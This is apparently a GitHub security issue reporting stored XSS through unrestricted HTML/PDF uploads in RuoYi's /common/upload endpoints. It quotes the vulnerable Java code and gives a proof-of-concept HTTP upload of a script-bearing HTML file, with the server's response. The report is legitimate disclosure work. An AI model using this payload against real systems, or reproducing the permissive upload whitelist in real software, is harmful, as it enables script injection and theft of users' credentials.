Skip to content

Unrestricted Upload of File with Dangerous Type which lead to Stored XSS (CWE-434) #296

@NinjaGPT

Description

@NinjaGPT

Summary

The endpoint /common/upload and /common/uploads allow user uploads html, htm and PDF file without sanitizer which leads to Stored XSS.

Details

  • ruoyi-admin/src/main/java/com/ruoyi/web/controller/common/CommonController.java
@PostMapping("/upload")
@ResponseBody
public AjaxResult uploadFile(MultipartFile file) throws Exception
{
    try
    {
        // 上传文件路径
        String filePath = RuoYiConfig.getUploadPath();
        // 上传并返回新文件名称
        String fileName = FileUploadUtils.upload(filePath, file);
        String url = serverConfig.getUrl() + fileName;
        AjaxResult ajax = AjaxResult.success();
        ajax.put("url", url);
        ajax.put("fileName", fileName);
        ajax.put("newFileName", FileUtils.getName(fileName));
        ajax.put("originalFilename", file.getOriginalFilename());
        return ajax;
    }
    catch (Exception e)
    {
        return AjaxResult.error(e.getMessage());
    }
}

com/ruoyi/common/utils/file/FileUploadUtils.java

public static final String upload(String baseDir, MultipartFile file) throws IOException
{
    try
    {
        return upload(baseDir, file, MimeTypeUtils.DEFAULT_ALLOWED_EXTENSION);
    }
    catch (Exception e)
    {
        throw new IOException(e.getMessage(), e);
    }
}

com/ruoyi/common/utils/file/MimeTypeUtils.java
public static final String[] DEFAULT_ALLOWED_EXTENSION = {
        // 图片
        "bmp", "gif", "jpg", "jpeg", "png",
        // word excel powerpoint
        "doc", "docx", "xls", "xlsx", "ppt", "pptx", "html", "htm", "txt",
        // 压缩文件
        "rar", "zip", "gz", "bz2",
        // 视频格式
        "mp4", "avi", "rmvb",
        // pdf
        "pdf" };

/**
 * 通用上传请求(多个)
 */
@PostMapping("/uploads")
@ResponseBody
public AjaxResult uploadFiles(List<MultipartFile> files) throws Exception
{
    try
    {
        // 上传文件路径
        String filePath = RuoYiConfig.getUploadPath();
        List<String> urls = new ArrayList<String>();
        List<String> fileNames = new ArrayList<String>();
        List<String> newFileNames = new ArrayList<String>();
        List<String> originalFilenames = new ArrayList<String>();
        for (MultipartFile file : files)
        {
            // 上传并返回新文件名称
            String fileName = FileUploadUtils.upload(filePath, file);
            String url = serverConfig.getUrl() + fileName;
            urls.add(url);
            fileNames.add(fileName);
            newFileNames.add(FileUtils.getName(fileName));
            originalFilenames.add(file.getOriginalFilename());
        }
        AjaxResult ajax = AjaxResult.success();
        ajax.put("urls", StringUtils.join(urls, FILE_DELIMETER));
        ajax.put("fileNames", StringUtils.join(fileNames, FILE_DELIMETER));
        ajax.put("newFileNames", StringUtils.join(newFileNames, FILE_DELIMETER));
        ajax.put("originalFilenames", StringUtils.join(originalFilenames, FILE_DELIMETER));
        return ajax;
    }
    catch (Exception e)
    {
        return AjaxResult.error(e.getMessage());
    }
}

POC

  • upload a html, htm, or PDF file with malicious JavaScript code (XSS payload) via /common/upload or common/uploads
POST /common/upload HTTP/1.1
Host: 127.0.0.1:7002
Content-Length: 212
sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"
X-CSRF-Token: OF5btMiMiTkmB+CFbUqFauMEwmO0nNr+0o0px6b5mE0=
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAOt4rZCZ8orj157H
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1:7002
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:7002/system/notice/edit/1
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.1.1027658535.1749294030; CHAT2DB=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1N...; JSESSIONID=3fb74c2d-1bde-4bcc-8162-1edf4727f70a; rememberMe=WRBbwVfYXEA0hpJX...
Connection: close

------WebKitFormBoundaryAOt4rZCZ8orj157H
Content-Disposition: form-data; name="file"; filename="test.html"
Content-Type: image/jpeg

<script>alert('XSS')</script>
------WebKitFormBoundaryAOt4rZCZ8orj157H--

HTTP/1.1 200 
Content-Type: application/json
Date: Mon, 07 Jul 2025 08:49:46 GMT
Connection: close
Content-Length: 261

{"msg":"操作成功","fileName":"/profile/upload/2025/07/07/test_20250707164946A004.html","code":0,"newFileName":"test_20250707164946A004.html","url":"http://127.0.0.1:7002/profile/upload/2025/07/07/test_20250707164946A004.html","originalFilename":"test.html"}

Image

Impact

The Stored XSS vulnerability allows attackers launch attacks via arbitrary javascript execution, such as phishing, stealing user's credentials, etc

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions